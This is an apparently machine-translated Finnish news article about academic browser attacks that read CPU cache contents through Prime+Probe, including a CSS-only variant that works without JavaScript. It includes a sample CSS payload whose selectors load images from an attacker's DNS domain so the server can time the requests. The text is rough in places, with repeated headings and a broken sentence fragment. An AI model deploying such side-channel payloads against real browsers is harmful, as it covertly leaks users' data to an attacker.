CPU-välimuistin purkuhyökkäys toteutettu verkkoselaimessa ilman JavaScriptiä

Useista amerikkalaisista, israelilaisista ja australialaisista yliopistoista koostuva tutkijaryhmä on kehittänyt kolme hyökkäystä, jotka suoritetaan web-selaimissa poimimaan tietoja prosessorin välimuistin sisällöstä. Yksi menetelmä toimii selaimissa, joissa ei ole JavaScriptiä, ja kaksi muuta ohittavat olemassa olevat suojausmenetelmät sivukanavahyökkäyksiä vastaan, mukaan lukien Tor-selaimessa ja DeterFoxissa käytetyt. Hyökkäysten demonstrointikoodi sekä hyökkäyksiin tarvittavat palvelinkomponentit julkaistaan ​​GitHubissa.

Välimuistin sisällön analysointiin kaikki hyökkäykset käyttävät Prime+Probe -menetelmää, jossa välimuisti täytetään vakioarvoilla ja havaitaan muutokset mittaamalla niihin pääsyaika niitä täytettäessä. Selainten tarkkaa ajanmittausta häiritsevien suojausmekanismien ohittamiseksi kahdessa vaihtoehdossa vetoaa hyökkääjän hallitsemaan DNS- tai WebSocket-palvelimeen, joka pitää lokia vastaanotettujen pyyntöjen ajasta. Yhdessä suoritusmuodossa kiinteää DNS-vasteaikaa käytetään aikaviitteenä.

Ulkoisilla DNS- tai WebSocket-palvelimilla koneoppimiseen perustuvalla luokitusjärjestelmällä tehdyt mittaukset riittivät ennustamaan arvoja jopa 98 % tarkkuudella optimaalisessa skenaariossa (keskimäärin 80-90 %). Hyökkäysmenetelmiä on testattu eri laitteistoalustoilla (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ja ne ovat osoittautuneet universaaliksi.

CPU-välimuistin purkuhyökkäys toteutettu verkkoselaimessa ilman JavaScriptiä

DNS Racing -hyökkäyksen ensimmäinen variantti käyttää Prime+Probe -menetelmän klassista toteutusta JavaScript-taulukoita käyttäen. Erot tiivistyvät ulkoisen DNS-pohjaisen ajastimen ja virhekäsittelijän käyttöön, joka laukeaa, kun kuvaa yritetään ladata olemattomasta toimialueesta. Ulkoinen ajastin mahdollistaa Prime+Probe-hyökkäyksen selaimia vastaan, jotka rajoittavat JavaScript-ajastimien käyttöä tai estävät sen kokonaan.

Samassa Ethernet-verkossa sijaitsevalla DNS-palvelimella ajastimen tarkkuuden arvioidaan olevan noin 2 ms, mikä riittää sivukanavahyökkäyksen suorittamiseen (vertailun vuoksi Tor-selaimen JavaScript-vakioajastimen tarkkuus on vähennetty 100 ms). Hyökkäykseen ei tarvita DNS-palvelimen hallintaa, koska toiminnon suoritusaika valitaan siten, että DNS:n vastausaika on merkki tarkistuksen aikaisemmasta valmistumisesta (riippuen siitä, laukaisiko virhekäsittelijä aikaisemmin tai myöhemmin tehdään johtopäätös välimuistin tarkistustoiminnon nopeudesta) .

Toinen hyökkäysmenetelmä, "String and Sock", pyrkii ohittamaan suojaustekniikat, jotka rajoittavat taulukoiden matalan tason käyttöä JavaScriptissä. String and Sock käyttää taulukoiden sijaan operaatioita erittäin suurille merkkijonoille, joiden koko valitaan siten, että muuttuja kattaa koko LLC:n välimuistin (Last level cache). Seuraavaksi funktiolla indexOf() etsitään merkkijonosta pieni osamerkkijono, joka alun perin puuttuu lähdemerkkijonosta, ts. hakutoiminto johtaa iteraatioon koko merkkijonon yli. Koska rivin koko vastaa LLC-välimuistin kokoa, skannauksen avulla voit suorittaa välimuistin tarkistustoiminnon käsittelemättä taulukoita. Viiveiden mittaamiseksi DNS:n sijasta soitetaan hyökkääjän hallitsemalle WebSocket-palvelimelle - ennen hakutoiminnon päättymistä ja sen jälkeen riville lähetetään kyselyitä, joiden perusteella palvelin laskee välimuistin analysointiin käytetyn viiveen. sisällys.

"CSS PP0" -hyökkäyksen kolmas variantti toteutetaan HTML:n ja CSS:n kautta, ja se voi toimia selaimissa, joissa JavaScript on poistettu käytöstä. Menetelmä on samanlainen kuin "String and Sock", mutta se ei ole sidottu JavaScriptiin. Hyökkäyksen aikana luodaan joukko CSS-valitsimia, jotka etsivät maskin perusteella. Ensimmäinen iso merkkijono, joka täyttää välimuistin, asetetaan luomalla div-tunniste, jolla on erittäin suuri luokan nimi. Sisällä on joukko muita divejä, joilla on omat tunnisteet. Jokaisella näistä sisäkkäisistä diveistä on oma tyylinsä valitsimella, joka etsii alimerkkijonoa. Sivua renderöidessään selain yrittää ensin käsitellä sisäisiä divejä, mikä johtaa hakuoperaatioon suurella rivillä. Haku suoritetaan tarkoituksella puuttuvalla maskilla ja johtaa iterointiin koko rivin yli, minkä jälkeen laukeaa "ei"-ehto ja yritetään ladata taustakuva, joka viittaa satunnaisiin toimialueisiin: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Aliverkkotunnuksia palvelee hyökkääjän DNS-palvelin, joka voi mitata viiveitä pyyntöjen vastaanottamisessa. DNS-palvelin lähettää NXDOMAIN kaikille pyynnöille ja pitää lokia pyyntöjen tarkasta ajasta. Divs-joukon käsittelyn seurauksena hyökkääjän DNS-palvelin vastaanottaa joukon pyyntöjä, joiden väliset viiveet korreloivat välimuistin sisällön tarkistuksen tuloksen kanssa.

CPU-välimuistin purkuhyökkäys toteutettu verkkoselaimessa ilman JavaScriptiä


Lähde: opennet.ru

Lisää kommentti